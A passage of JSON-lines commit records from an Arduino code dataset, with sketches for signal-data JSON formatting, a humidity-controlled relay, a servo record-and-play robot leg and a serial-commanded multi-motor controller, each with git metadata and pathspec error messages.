data+= \",\";\n }\n sprintf(buffer, \"%f\", vDataR[bufferSize-1]);\n data+= buffer;\n memset(buffer, 0, 30);\n data+= \"]},{\\\"imm\\\": [\";\n for (int i = 0; i < bufferSize-1; i++)\n {\n sprintf(buffer, \"%f\", vDataI[i]);\n data+= buffer;\n memset(buffer, 0, 30);\n data+= \",\";\n }\n sprintf(buffer, \"%f\", vDataI[bufferSize-1]);\n data+= buffer; \n memset(buffer, 0, 30);\n data+= \"]}]}\";\n break;\n case SCL_TIME:\n data+= \"{\\\"signal\\\":[{\\\"time\\\": [\";\n for (int i = 0; i < bufferSize-1; i++)\n {\n abscissa = (i \/ sampling);\n sprintf(buffer, \"%f\", abscissa);\n data+= buffer;\n memset(buffer, 0, 30);\n data+= \",\";\n }\n abscissa = (i \/ sampling);\n sprintf(buffer, \"%f\", abscissa);\n data+= buffer;\n memset(buffer, 0, 30);\n data+= \"]},{\\\"real\\\": [\"; \n for (int i = 0; i < bufferSize-1; i++)\n {\n sprintf(buffer, \"%f\", vDataR[i]);\n data+= buffer;\n memset(buffer, 0, 30);\n data+= \",\";\n }\n sprintf(buffer, \"%f\", vDataR[bufferSize-1]);\n data+= buffer;\n memset(buffer, 0, 30);\n data+= \"]}]}\";\n break;\n case SCL_FREQUENCY:\n data+= \"{\\\"spectrum\\\":[{\\\"f\\\": [\";\n for (int i = 0; i < bufferSize-1; i++)\n {\n abscissa = ((i * sampling) \/ samples);\n vDataI[i]= abscissa;\n sprintf(buffer, \"%f\", abscissa);\n data+= buffer; \n memset(buffer, 0, 30);\n data+= \",\";\n } \n abscissa = ((i * sampling) \/ samples); \/\/STAMPA UN 1 IN PIU\n vDataI[i]= abscissa;\n sprintf(buffer, \"%f\", abscissa);\n data+= buffer;\n memset(buffer, 0, 30); \n data+= \"]},{\\\"e\\\": [\"; \n for (int i = 0; i < bufferSize-1; i++)\n {\n sprintf(buffer, \"%f\", vDataR[i]);\n data+= buffer;\n memset(buffer, 0, 30);\n data+= \",\";\n }\n sprintf(buffer, \"%f\", vDataR[bufferSize-1]);\n data+= buffer;\n memset(buffer, 0, 30);\n data+= \"]}]}\";\n if(asseType == a){\n data+= \"]}\";\n }\n break;\n }\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Nauteelvs.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"5e756d7874fd91a9c97869d22f05a85136da069f","subject":"Added simple sketch based on decay, changed generator to take into account settling (initial drifting) of humidity sensor","message":"Added simple sketch based on decay, changed generator to take into account settling (initial drifting) of humidity sensor\n","repos":"mjholtkamp\/shofanduino,mjholtkamp\/shofanduino,mjholtkamp\/shofanduino","old_file":"humidity_simple\/humidity_simple.ino","new_file":"humidity_simple\/humidity_simple.ino","new_contents":"#include <Time.h>\n\nconst int relaisPin = 11;\nconst int sensorPin = A0; \/\/ select the input pin for the potentiometer\nconst int MINHUMIDITY = 0;\nconst int MAXHUMIDITY = 1023;\nconst int milliseconds_sleep = 5000;\nconst int avg_decay = 0.00001;\nconst int deviation_decay = 0.01;\nint sensorValue = 0; \/\/ variable to store the value coming from the sensor\nint thresholdLow = 0;\nint thresholdHigh = 0;\nint avg = 0;\nint deviation = 20;\nint humidity = 0;\nint startup_seconds = 900; \/\/ sensor needs to settle for 15 minutes\n\nint get_humidity() {\n sensorValue = analogRead(sensorPin);\n \n \/\/ sensor value is high when humidity is low, this is\n \/\/ counterintuitive (it's a dryness sensor!), so we\n \/\/ reverse it:\n return MAXHUMIDITY - sensorValue;\n}\n\nvoid setup() {\n \/\/ initialize the 11 pin as an output:\n Serial.begin(9600);\n pinMode(relaisPin, OUTPUT);\n pinMode(sensorPin, INPUT);\n digitalWrite(relaisPin, HIGH);\n avg = get_humidity();\n}\n\nvoid loop() {\n humidity = get_humidity();\n \n if (startup_seconds > 0) {\n \/\/ during startup, sensor needs to settle, so average is allowed to change fast\n avg = (avg + humidity) \/ 2;\n startup_seconds -= milliseconds_sleep \/ 1000;\n } else {\n \/\/ decay the old value, combine with the new (reverse decay)\n avg = avg * (1.0 - avg_decay) + humidity * avg_decay;\n }\n int cur_deviation = max(deviation, humidity - avg);\n deviation = deviation * (1.0 - deviation_decay) + cur_deviation * deviation_decay;\n thresholdLow = avg + deviation \/ 3;\n thresholdHigh = avg + 2 * deviation \/ 3;\n\n \/\/ print out the values for debugging\/plotting\n Serial.print(\"humidity = \");\n Serial.print(humidity);\n Serial.print(\", tlow = \");\n Serial.print(thresholdLow);\n Serial.print(\", thi = \");\n Serial.print(thresholdHigh);\n Serial.print(\", dmin = \");\n Serial.print(avg);\n Serial.print(\", dmax = \");\n Serial.println(avg + deviation);\n\n \/\/ switch the relays!\n if (sensorValue < thresholdLow) {\n \/\/ HIGH means setting the relay to NC\n digitalWrite(relaisPin, HIGH);\n } else if (sensorValue > thresholdHigh) {\n \/\/ LOW means setting the relay to NO\n digitalWrite(relaisPin, LOW); \n }\n delay(milliseconds_sleep);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'humidity_simple\/humidity_simple.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"d85a8ff0ba9863a7bb58a092a1304274e4337fed","subject":"Update Snake.ino","message":"Update Snake.ino\n\nDeleted some comments","repos":"Robot-Club\/SnakeRobot,PeterL328\/SnakeRobot,Robot-Club\/SnakeRobot,PeterL328\/SnakeRobot,ExiaSR\/SnakeRobot","old_file":"Arduino code\/Snake\/Snake.ino","new_file":"Arduino code\/Snake\/Snake.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino' did not match any file(s) known to git\nerror: pathspec 'code\/Snake\/Snake.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"b97fb9103ea8665d63d7c981fca26441d5de52d0","subject":"add leg system","message":"add leg system\n","repos":"jackylee0424\/walkingplant,jackylee0424\/walkingplant","old_file":"legsystem\/legsystem.ino","new_file":"legsystem\/legsystem.ino","new_contents":"\/\/ Walking Plant\n\/\/ is a robotic prosthesis that amplify plant's survival instincts and \n\/\/ add social emotions when interacting with people.\n\/\/ firmware 0.0.1\n\/\/ ref: http:\/\/www.adafruit.com\/products\/1404\n\/\/ This sketch is a learning system for a single leg mechanism (M1 toe, M2 ankle, M3)\n\n#include <Servo.h>\n#include <EEPROM.h>\n\n#define CALIB_MAX_M1 512\n#define CALIB_MIN_M1 100\n\n#define CALIB_MAX_M2 512\n#define CALIB_MIN_M2 100\n\n#define CALIB_MAX_M3 512\n#define CALIB_MIN_M3 100\n\n#define SAMPLE_DELAY 25 \/\/ in ms, 50ms seems good\n\nuint8_t recordButtonPin = 12;\nuint8_t playButtonPin = 7;\nuint8_t ledPin = 13;\n\nuint8_t servoPinM1 = 9;\nuint8_t feedbackPinM1 = A0;\n\nuint8_t servoPinM2 = 10;\nuint8_t feedbackPinM2 = A1;\n\nuint8_t servoPinM3 = 11;\nuint8_t feedbackPinM3 = A2;\n\nServo m1Servo;\nServo m2Servo;\nServo m3Servo;\n\n\/*\n\/\/ Calibration values\nint minDegrees;\nint maxDegrees;\nint minFeedback;\nint maxFeedback;\nint tolerance = 2; \/\/ max feedback measurement error\n\n*\/\n\/*\n This function establishes the feedback values for 2 positions of the servo.\n With this information, we can interpolate feedback values for intermediate positions\n*\/\n\/*\nvoid calibrate(Servo servo, int analogPin, int minPos, int maxPos)\n{\n \/\/ Move to the minimum position and record the feedback value\n servo.write(minPos);\n minDegrees = minPos;\n delay(2000); \/\/ make sure it has time to get there and settle\n minFeedback = analogRead(analogPin);\n \n \/\/ Move to the maximum position and record the feedback value\n servo.write(maxPos);\n maxDegrees = maxPos;\n delay(2000); \/\/ make sure it has time to get there and settle\n maxFeedback = analogRead(analogPin);\n}\n*\/\n\n \nvoid setup() {\n Serial.begin(9600);\n \n \/\/ record button\n pinMode(recordButtonPin, INPUT);\n digitalWrite(recordButtonPin, HIGH);\n \n \/\/ play button\n pinMode(playButtonPin, INPUT);\n digitalWrite(playButtonPin, HIGH);\n \n \/\/ LED\n pinMode(ledPin, OUTPUT);\n \n \/\/ feedback pins\n pinMode(feedbackPinM1, INPUT); \n pinMode(feedbackPinM2, INPUT); \n pinMode(feedbackPinM3, INPUT); \n \n Serial.println(\"Servo RecordPlay\");\n \n \/\/ need to do calibration\n \/\/m1Servo.attach(servoM1Pin);\n \/\/calibrate(m1Servo, feedbackM1Pin, 20, 160); \/\/ calibrate for the 20-160 degree range\n \/\/m1Servo.detach();\n}\n\n\/\/ main loop\nvoid loop() {\n \n \/\/ record new sequence\n if (! digitalRead(recordButtonPin)) {\n delay(10);\n \/\/ wait for released\n while (! digitalRead(recordButtonPin));\n delay(20);\n \/\/ OK released!\n recordServo();\n }\n \n \/\/ play recorded sequence\n if (! digitalRead(playButtonPin)) {\n delay(10);\n \/\/ wait for released\n while (! digitalRead(playButtonPin));\n delay(20);\n \/\/ OK released!\n playServo();\n }\n}\n\nvoid playServo() {\n uint16_t addr = 0;\n Serial.println(\"Playing\");\n\n m1Servo.attach(servoPinM1);\n while (digitalRead(playButtonPin)) { \n uint8_t x = EEPROM.read(addr);\n if ((addr % 3) == 0){\n Serial.print(\"Read M1: \"); Serial.print(x);\n if (x == 255) break;\n \/\/ map to 0-180 degrees\n x = map(x, 0, 254, 0, 180);\n Serial.print(\" -> \"); Serial.println(x);\n m1Servo.write(x);\n }\n delay(SAMPLE_DELAY);\n \n addr++;\n if (addr == 512) break;\n }\n Serial.println(\"Done\");\n m1Servo.detach();\n delay(250); \n}\n\n\/\/ record from analog inputs\nvoid recordServo() {\n uint16_t addr = 0;\n \n \/\/ turn on LED\n Serial.println(\"Recording\");\n digitalWrite(ledPin, HIGH);\n \n \/\/ check if button pressed (as stop recording)\n while (digitalRead(recordButtonPin)) {\n uint16_t a = analogRead(feedbackPinM1);\n if ((addr % 3) == 0){\n Serial.print(\"Read M1 analog: \"); Serial.print(a);\n if (a < CALIB_MIN_M1) a = CALIB_MIN_M1;\n if (a > CALIB_MAX_M1) a = CALIB_MAX_M1;\n a = map(a, CALIB_MIN_M1, CALIB_MAX_M1, 0, 254);\n Serial.print(\" -> \"); Serial.println(a);\n EEPROM.write(addr, a);\n }\n addr++;\n if (addr == 512) break;\n delay(SAMPLE_DELAY);\n }\n if (addr != 512) EEPROM.write(addr, 255);\n\n digitalWrite(ledPin, LOW);\n\n Serial.println(\"Done\");\n delay(250);\n \n \/\/ note: think about a way to store the motion data externally\n \/\/ make a buffer where it can be loaded dynamically from host computer (Raspi)\n}\n\n\/*\nvoid Seek(Servo servo, int analogPin, int pos)\n{\n \/\/ Start the move...\n servo.write(pos);\n \n \/\/ Calculate the target feedback value for the final position\n int target = map(pos, minDegrees, maxDegrees, minFeedback, maxFeedback); \n \n \/\/ Wait until it reaches the target\n while(abs(analogRead(analogPin) - target) > tolerance){} \/\/ wait...\n}\n\nint getPos(int analogPin)\n{\n return map(analogRead(analogPin), minFeedback, maxFeedback, minDegrees, maxDegrees);\n}\n*\/\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'legsystem\/legsystem.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"dce6b7592329161e400ee3c962423b63b447cf01","subject":"Updated to fit current configuration","message":"Updated to fit current configuration\n","repos":"NexRobotics\/motorControllerArduino","old_file":"Motor_Controler.ino","new_file":"Motor_Controler.ino","new_contents":"#define NO_PRINT 0\n#define PRINT_SPEED 1\n\n\/\/mXeY - silnik X, pin enkodera Y\n#define m1e1 23\n#define m1e2 25\n#define m2e1 22\n#define m2e2 24\n#define m3e1 13\n#define m3e2 27\n#define m4e1 14\n#define m4e2 29\n\n\/\/mXkY - silnik X, pin kierunku Y\n#define m1k1 23\n#define m1k2 22\n#define m2k1 13\n#define m2k2 12\n#define m3k1 27\n#define m3k2 26\n#define m4k1 7\n#define m4k2 5\n\n\/\/mXPWM - PWM silnika X\n#define m1PWM 2\n#define m2PWM 11\n#define m3PWM 4\n#define m4PWM 6\n\/\/ to be added\n\/\/ #define PRINT_POWER 2\n\/\/ #define PRINT_ERROR 3\n\ntypedef struct silnik\n{\n \/\/liczby to numery pin\u00f3w\n int pwm;\n int kierunek1;\n int kierunek2;\n int enkoder1;\n int enkoder2;\n int pwmSetting;\n boolean dir_correction;\n};\n\n\/\/ Structure schema: (pwm, inA, inB, encoder inA, encoder inB, isRight?)\nsilnik motor1{12, 22, 23, m1e1, m1e2, 1};\nsilnik motor2{3, 24, 25, m1e1, m1e2, 0};\nsilnik motor3{4, 26, 27, m1e1, m1e2, 1};\nsilnik motor4{5, 28, 29, m1e1, m1e2, 0};\nsilnik motor5{7, 6, 8, m1e1, m1e2, 1};\nsilnik motor6{10, 9, 11, m1e1, m1e2, 0};\n\nvoid initMotor(struct silnik motor)\n{\n pinMode(motor.enkoder1, INPUT);\n pinMode(motor.enkoder2, INPUT);\n\n pinMode(motor.kierunek1, OUTPUT);\n pinMode(motor.kierunek2, OUTPUT);\n\n pinMode(motor.pwm, OUTPUT);\n\n motor.pwmSetting = 0;\n}\n\nvoid SetSpeed(struct silnik motor, int wypelnienie)\n{\n if(wypelnienie==0)\n {\n digitalWrite(motor.kierunek1, HIGH);\n digitalWrite(motor.kierunek2, HIGH);\n }\n else if (!motor.dir_correction)\n {\n if(wypelnienie>0)\n {\n analogWrite(motor.pwm, wypelnienie);\n digitalWrite(motor.kierunek1, HIGH);\n digitalWrite(motor.kierunek2, LOW);\n }\n\n else if(wypelnienie<0)\n {\n analogWrite(motor.pwm, -wypelnienie);\n digitalWrite(motor.kierunek1, LOW);\n digitalWrite(motor.kierunek2, HIGH);\n }\n \n }else\n {\n if(wypelnienie>0)\n { \n analogWrite(motor.pwm, wypelnienie);\n digitalWrite(motor.kierunek2, HIGH);\n digitalWrite(motor.kierunek1, LOW);\n }\n\n else if(wypelnienie<0)\n {\n analogWrite(motor.pwm, -wypelnienie);\n digitalWrite(motor.kierunek2, LOW);\n digitalWrite(motor.kierunek1, HIGH);\n }\n \n }\n}\n\nunsigned long czas, timeBuffer;\nString inputString = \"\";\nvolatile boolean newMessageReceived = false;\n\/\/Pulses Per Revolution, Revolutions Per Revolution\nint PPR, RPR;\nvolatile int u[6] = {0, 0, 0, 0, 0, 0};\nint v1=0, e1=0, v2=0, e2=0, v3=0, e3=0, v4=0, e4=0;\nint PowerOnMotor1 = 0, PowerOnMotor2 = 0, PowerOnMotor3 = 0, PowerOnMotor4 = 0;\nint PWMSpeed[6] = {0, 0, 0, 0, 0, 0};\nboolean slopeRise1 = 1, slopeFall1 = 0, slopeRise2 = 1, slopeFall2 = 0, slopeRise3 = 1, slopeFall3 = 0, slopeRise4 = 1, slopeFall4 = 0;\nbyte timeCounter = 0;\nunsigned long startingTime = 0;\nint slopeCounter1 = 0, slopeCounter2 = 0, slopeCounter3 = 0, slopeCounter4 = 0;\nbyte Kp = 0;\nbyte ConstantPrint = NO_PRINT;\nboolean SmartDrive = 1;\nint mios = 1000; \/\/Maksymalna Ilo\u015b\u0107 Obrot\u00f3w Silnika\n\nvoid setup()\n{\n Serial.begin(115200);\n Serial.println(\"Pololu & Arduino Motor Driver by MtK\");\n inputString.reserve(200);\n \/*md1i2.init();\n md3i4.init();\n md1i2.setM1Speed(0);\n md1i2.setM2Speed(0);\n md3i4.setM1Speed(0);\n md3i4.setM2Speed(0);*\/\n initMotor(motor1);\n initMotor(motor2);\n initMotor(motor3);\n initMotor(motor4);\n initMotor(motor5);\n initMotor(motor6);\n \n PPR = 6;\n RPR = 10;\n \n Kp = 2;\n}\n\nvoid loop()\n{\n if (newMessageReceived)\n handleNewMessage();\n \n if (SmartDrive)\n {\n slopeCounter1 = 0;\n slopeCounter2 = 0;\n slopeCounter3 = 0;\n slopeCounter4 = 0;\n startingTime = micros();\n for(unsigned i = 0; i<5000; i++)\n {\n if (digitalRead(m1e1) && slopeRise1)\n {\n if(digitalRead(m1e2))\n slopeCounter1--;\n else\n slopeCounter1++;\n slopeRise1 = 0;\n slopeFall1 = 1;\n }\n \n if (!digitalRead(m1e1) && slopeFall1)\n {\n if(digitalRead(m1e2))\n slopeCounter1++;\n else\n slopeCounter1--;\n slopeRise1 = 1;\n slopeFall1 = 0;\n }\n \/\/----------------------------------------------------------\n if (digitalRead(m2e1) && slopeRise2)\n {\n if(digitalRead(m2e2))\n slopeCounter2--;\n else\n slopeCounter2++;\n slopeRise2 = 0;\n slopeFall2 = 1;\n }\n \n if (!digitalRead(m2e1) && slopeFall2)\n {\n if(digitalRead(m2e2))\n slopeCounter2++;\n else\n slopeCounter2--;\n slopeRise2 = 1;\n slopeFall2 = 0;\n }\n \/\/----------------------------------------------------------\n if (digitalRead(m3e1) && slopeRise3)\n {\n if(digitalRead(m3e2))\n slopeCounter3--;\n else\n slopeCounter3++;\n slopeRise3 = 0;\n slopeFall3 = 1;\n }\n \n if (!digitalRead(m3e1) && slopeFall3)\n {\n if(digitalRead(m3e2))\n slopeCounter3++;\n else\n slopeCounter3--;\n slopeRise3 = 1;\n slopeFall3 = 0;\n }\n \/\/----------------------------------------------------------\n if (digitalRead(m4e1) && slopeRise4)\n {\n if(digitalRead(m4e2))\n slopeCounter4--;\n else\n slopeCounter4++;\n slopeRise4 = 0;\n slopeFall4 = 1;\n }\n \n if (!digitalRead(m4e1) && slopeFall4)\n {\n if(digitalRead(m4e2))\n slopeCounter4++;\n else\n slopeCounter4--;\n slopeRise4 = 1;\n slopeFall4 = 0;\n }\n }\n \n czas = micros() - startingTime;\n \/\/ Serial.print(\"#Enkoders, \");\n \/\/ Serial.print(slopeCounter1);\n \/\/ Serial.print(\", \");\n \/\/ Serial.print(slopeCounter2);\n \/\/ Serial.print(\", \");\n \/\/ Serial.print(slopeCounter3);\n \/\/ Serial.print(\", \");\n \/\/ Serial.print(slopeCounter4);\n \/\/ Serial.print(\", \");\n \/\/ Serial.println(); \/\/ oddzielenie pust\u0105 lini\u0105 dla zwi\u0119kszenia czytelno\u015bci\n v1 = slopeCounter1*((60000000)\/(RPR*PPR*(long)czas));\n v2 = slopeCounter2*((60000000)\/(RPR*PPR*(long)czas));\n v3 = slopeCounter3*((60000000)\/(RPR*PPR*(long)czas));\n v4 = slopeCounter4*((60000000)\/(RPR*PPR*(long)czas));\n\n e1 = u[0]-v1;\n e2 = u[1]-v2;\n e3 = u[2]-v3;\n e4 = u[3]-v4;\n \n PowerOnMotor1 += Kp*e1;\n PowerOnMotor2 += Kp*e2;\n PowerOnMotor3 += Kp*e3;\n PowerOnMotor4 += Kp*e4;\n \n if(PowerOnMotor1 > 40000)\n PowerOnMotor1 = 40000;\n else if(PowerOnMotor1< -40000)\n PowerOnMotor1 = -40000;\n\n if(PowerOnMotor2 > 40000)\n PowerOnMotor2 = 40000;\n else if(PowerOnMotor2 < -40000)\n PowerOnMotor2 = -40000;\n\n if(PowerOnMotor3 > 40000)\n PowerOnMotor3 = 40000;\n else if(PowerOnMotor3 < -40000)\n PowerOnMotor3 = -40000;\n\n if(PowerOnMotor4 > 40000)\n PowerOnMotor4 = 40000;\n else if(PowerOnMotor4 < -40000)\n PowerOnMotor4 = -40000;\n\n\/\/ if (u1 == 0)\n\/\/ SetSpeed(motor1, 0);\n\/\/ else\n\/\/ SetSpeed(motor1, PowerOnMotor1\/100);\n\/\/ \n\/\/ if (u2 == 0)\n\/\/ SetSpeed(motor2, 0);\n\/\/ else\n\/\/ SetSpeed(motor2, PowerOnMotor2\/100);\n\/\/ \n\/\/ if (u3 == 0)\n\/\/ SetSpeed(motor3, 0);\n\/\/ else\n\/\/ SetSpeed(motor3, PowerOnMotor3\/100);\n\/\/ \n\/\/ if (u4 == 0)\n\/\/ SetSpeed(motor4, 0);\n\/\/ else\n\/\/ SetSpeed(motor4, PowerOnMotor4\/100);\n\n SetSpeed(motor1, u[0]);\n SetSpeed(motor2, u[1]);\n SetSpeed(motor3, u[2]);\n SetSpeed(motor4, u[3]);\n SetSpeed(motor5, u[4]);\n SetSpeed(motor6, u[5]);\n\n delay(2000);\n for(int i=0; i<6; i++)\n {\n Serial.print(u[i]);\n Serial.print(\" \");\n }\n Serial.println(\"zeroing...\");\n u[0]=0;\n u[1]=0;\n u[2]=0;\n u[3]=0;\n u[4]=0;\n u[5]=0;\n \n\n }\n else\n {\n PowerOnMotor1 = 0;\n PowerOnMotor2 = 0;\n PowerOnMotor3 = 0;\n PowerOnMotor4 = 0;\n \n SetSpeed(motor1, PWMSpeed[0]);\n SetSpeed(motor2, PWMSpeed[1]);\n SetSpeed(motor3, PWMSpeed[2]);\n SetSpeed(motor4, PWMSpeed[3]);\n SetSpeed(motor5, PWMSpeed[4]);\n SetSpeed(motor6, PWMSpeed[5]);\n \n }\n \n if(ConstantPrint == PRINT_SPEED)\n {\n Serial.println(v1);\n Serial.println(v2);\n Serial.println(v3);\n Serial.println(v4);\n }\n}\n\n\nvoid serialEvent() {\n while (Serial.available()) \n {\n \/\/ get the new byte:\n char inChar = (char)Serial.read();\n \/\/ add it to the inputString:\n inputString += inChar;\n \/\/ if the incoming character is a newline, set a flag\n \/\/ so the main loop can do something about it:\n if (inChar == '\\n')\n newMessageReceived = true;\n }\n}\n\nvoid handleNewMessage()\n{\n int spaceBar = inputString.indexOf(' ');\n if (spaceBar != -1)\n {\n String buffer = \"\";\n buffer.reserve(10);\n String buffer2 = \"\";\n buffer2.reserve(10);\n String bufferMotor = \"\";\n bufferMotor.reserve(10);\n for (int i=0; i<spaceBar; i++)\n buffer += inputString.charAt(i);\n\n\/\/ spaceBar = inputString.indexOf(' ');\n for (int i=spaceBar+1; i<(inputString.length()-1); i++)\n buffer2 += inputString.charAt(i);\n \n if (buffer == \"Set\" || buffer == \"SetSpeed\")\n {\n spaceBar = buffer2.indexOf(' ');\n for (int i=spaceBar+1; i<(buffer2.length()); i++)\n bufferMotor += buffer2.charAt(i);\n \n Serial.println(\"Set command detected!\");\n if(bufferMotor==\"motor1\"){\n u[0]= buffer2.toInt();\n if (u[0]>mios)\n u[0] = mios;\n else if (u[0]<-mios)\n u[0]= -mios;\n \n e1 = u[0]-v1;\n }\n else if(bufferMotor==\"motor2\"){\n u[1]= buffer2.toInt();\n if (u[1]>mios)\n u[1]= mios;\n else if (u[1]<-mios)\n u[1]= -mios;\n \n e2 = u[1]-v2;\n }\n else if(bufferMotor==\"motor3\"){\n u[2]= buffer2.toInt();\n if (u[2]>mios)\n u[2]= mios;\n else if (u[2]<-mios)\n u[2] = -mios;\n \n e3 = u[2]-v3;\n }\n else if(bufferMotor==\"motor4\"){\n u[3]= buffer2.toInt();\n if (u[3]>mios)\n u[3]= mios;\n else if (u[3]<-mios)\n u[3]= -mios;\n \n e4 = u[3]-v4;\n }\n else if(bufferMotor==\"motor5\"){\n u[4]= buffer2.toInt();\n if (u[4]>mios)\n u[4]= mios;\n else if (u[3]<-mios)\n u[4]= -mios;\n }\n else if(bufferMotor==\"motor6\"){\n u[5]= buffer2.toInt();\n if (u[5]>mios)\n u[5]= mios;\n else if (u[5]<-mios)\n u[5]= -mios;\n }\n else if(bufferMotor=\"all\")\n {\n int uForAll = buffer2.toInt();\n if (uForAll > mios)\n uForAll = mios;\n else if (uForAll < -mios)\n uForAll = -mios;\n\n for(uint8_t i = 0; i<6; i++)\n u[i] = uForAll;\n \n }\n \n \n SmartDrive = 1;\n }\n else if (buffer == \"SetKp\")\n {\n Kp = buffer2.toInt();\n }\n\/\/ else if (buffer == \"SetPWM\")\n\/\/ {\n\/\/ if(bufferMotor==\"motor1\")\n\/\/ PWMSpeed1 = 4*buffer2.toInt();\n\/\/ else if(bufferMotor==\"motor2\")\n\/\/ PWMSpeed2 = 4*buffer2.toInt();\n\/\/ else if(bufferMotor==\"motor3\")\n\/\/ PWMSpeed3 = 4*buffer2.toInt();\n\/\/ else if(bufferMotor==\"motor4\")\n\/\/ PWMSpeed4 = 4*buffer2.toInt();\n\/\/ SmartDrive = 0;\n\/\/ }\n else if (buffer == \"Print\")\n {\n if(buffer2 == \"Speed\")\n {\n Serial.println(v1);\n Serial.println(v2);\n Serial.println(v3);\n Serial.println(v4);\n Serial.println();\n }\n \n \n else if(buffer2 == \"Error\")\n {\n Serial.println(e1);\n Serial.println(e2);\n Serial.println(e3);\n Serial.println(e4);\n Serial.println();\n }\n \n \n else if(buffer2 == \"Power\")\n {\n Serial.println(PowerOnMotor1\/400);\n Serial.println(PowerOnMotor2\/400);\n Serial.println(PowerOnMotor3\/400);\n Serial.println(PowerOnMotor4\/400);\n Serial.println();\n }\n \n else if(buffer2 == \"ConstSpeed\")\n ConstantPrint = PRINT_SPEED;\n else if(buffer2 == \"ConstDisable\")\n ConstantPrint = NO_PRINT;\n }\n else if(buffer == \"Kill\")\n {\n SetSpeed(motor1, 0);\n SetSpeed(motor2, 0);\n SetSpeed(motor3, 0);\n SetSpeed(motor4, 0);\n SmartDrive = 0;\n }\n }\n else\n Serial.println(\"Message ERROR\\n\\rInvalid command!\\n\\r\");\n \n newMessageReceived = false;\n inputString = \"\";\n}\n\n","old_contents":"#define NO_PRINT 0\n#define PRINT_SPEED 1\n\n\/\/mXeY - silnik X, pin enkodera Y\n#define m1e1 23\n#define m1e2 25\n#define m2e1 22\n#define m2e2 24\n#define m3e1 13\n#define m3e2 27\n#define m4e1 14\n#define m4e2 29\n\n\/\/mXkY - silnik X, pin kierunku Y\n#define m1k1 23\n#define m1k2 22\n#define m2k1 13\n#define m2k2 12\n#define m3k1 27\n#define m3k2 26\n#define m4k1 7\n#define m4k2 5\n\n\/\/mXPWM - PWM silnika X\n#define m1PWM 2\n#define m2PWM 11\n#define m3PWM 4\n#define m4PWM 6\n\/\/ to be added\n\/\/ #define PRINT_POWER 2\n\/\/ #define PRINT_ERROR 3\n\ntypedef struct silnik\n{\n \/\/liczby to numery pin\u00f3w\n int pwm;\n int kierunek1;\n int kierunek2;\n int enkoder1;\n int enkoder2;\n int pwmSetting;\n boolean dir_correction;\n};\n\n\/\/ Structure schema: (pwm, inA, inB, encoder inA, encoder inB, isRight?)\nsilnik motor1{m1PWM, m1k1, m1k2, m1e1, m1e2, 0};\nsilnik motor2{m2PWM, m2k1, m2k2, m2e1, m2e2, 1};\nsilnik motor3{m3PWM, m3k1, m3k2, m3e1, m3e2, 0};\nsilnik motor4{m4PWM, m4k1, m4k2, m4e1, m4e2, 1};\nsilnik motor5{m4PWM, m4k1, m4k2, m4e1, m4e2, 1};\nsilnik motor6{m4PWM, m4k1, m4k2, m4e1, m4e2, 1};\n\nvoid initMotor(struct silnik motor)\n{\n pinMode(motor.enkoder1, INPUT);\n pinMode(motor.enkoder2, INPUT);\n\n pinMode(motor.kierunek1, OUTPUT);\n pinMode(motor.kierunek2, OUTPUT);\n\n pinMode(motor.pwm, OUTPUT);\n\n motor.pwmSetting = 0;\n}\n\nvoid SetSpeed(struct silnik motor, int wypelnienie)\n{\n analogWrite(motor.pwm, wypelnienie);\n if(wypelnienie==0)\n {\n digitalWrite(motor.kierunek1, HIGH);\n digitalWrite(motor.kierunek2, HIGH);\n }\n else if (!motor.dir_correction)\n {\n if(wypelnienie>0)\n {\n digitalWrite(motor.kierunek1, HIGH);\n digitalWrite(motor.kierunek2, LOW);\n }\n\n else if(wypelnienie<0)\n {\n digitalWrite(motor.kierunek1, LOW);\n digitalWrite(motor.kierunek2, HIGH);\n }\n \n }else\n {\n if(wypelnienie>0)\n { \n digitalWrite(motor.kierunek2, HIGH);\n digitalWrite(motor.kierunek1, LOW);\n }\n\n else if(wypelnienie<0)\n {\n digitalWrite(motor.kierunek2, LOW);\n digitalWrite(motor.kierunek1, HIGH);\n }\n \n }\n}\n\nunsigned long czas, timeBuffer;\nString inputString = \"\";\nvolatile boolean newMessageReceived = false;\n\/\/Pulses Per Revolution, Revolutions Per Revolution\nint PPR, RPR;\nint u[6] = {0, 0, 0, 0, 0, 0};\nint v1=0, e1=0, v2=0, e2=0, v3=0, e3=0, v4=0, e4=0;\nint PowerOnMotor1 = 0, PowerOnMotor2 = 0, PowerOnMotor3 = 0, PowerOnMotor4 = 0;\nint PWMSpeed[6] = {0, 0, 0, 0, 0, 0};\nboolean slopeRise1 = 1, slopeFall1 = 0, slopeRise2 = 1, slopeFall2 = 0, slopeRise3 = 1, slopeFall3 = 0, slopeRise4 = 1, slopeFall4 = 0;\nbyte timeCounter = 0;\nunsigned long startingTime = 0;\nint slopeCounter1 = 0, slopeCounter2 = 0, slopeCounter3 = 0, slopeCounter4 = 0;\nbyte Kp = 0;\nbyte ConstantPrint = NO_PRINT;\nboolean SmartDrive = 0;\nint mios = 1000; \/\/Maksymalna Ilo\u015b\u0107 Obrot\u00f3w Silnika\n\nvoid setup()\n{\n Serial.begin(115200);\n Serial.println(\"Pololu & Arduino Motor Driver by MtK\");\n inputString.reserve(200);\n \/*md1i2.init();\n md3i4.init();\n md1i2.setM1Speed(0);\n md1i2.setM2Speed(0);\n md3i4.setM1Speed(0);\n md3i4.setM2Speed(0);*\/\n initMotor(motor1);\n initMotor(motor2);\n initMotor(motor3);\n initMotor(motor4);\n initMotor(motor5);\n initMotor(motor6);\n \n PPR = 6;\n RPR = 10;\n \n Kp = 2;\n}\n\nvoid loop()\n{\n if (newMessageReceived)\n handleNewMessage();\n \n if (SmartDrive)\n {\n slopeCounter1 = 0;\n slopeCounter2 = 0;\n slopeCounter3 = 0;\n slopeCounter4 = 0;\n startingTime = micros();\n for(unsigned i = 0; i<5000; i++)\n {\n if (digitalRead(m1e1) && slopeRise1)\n {\n if(digitalRead(m1e2))\n slopeCounter1--;\n else\n slopeCounter1++;\n slopeRise1 = 0;\n slopeFall1 = 1;\n }\n \n if (!digitalRead(m1e1) && slopeFall1)\n {\n if(digitalRead(m1e2))\n 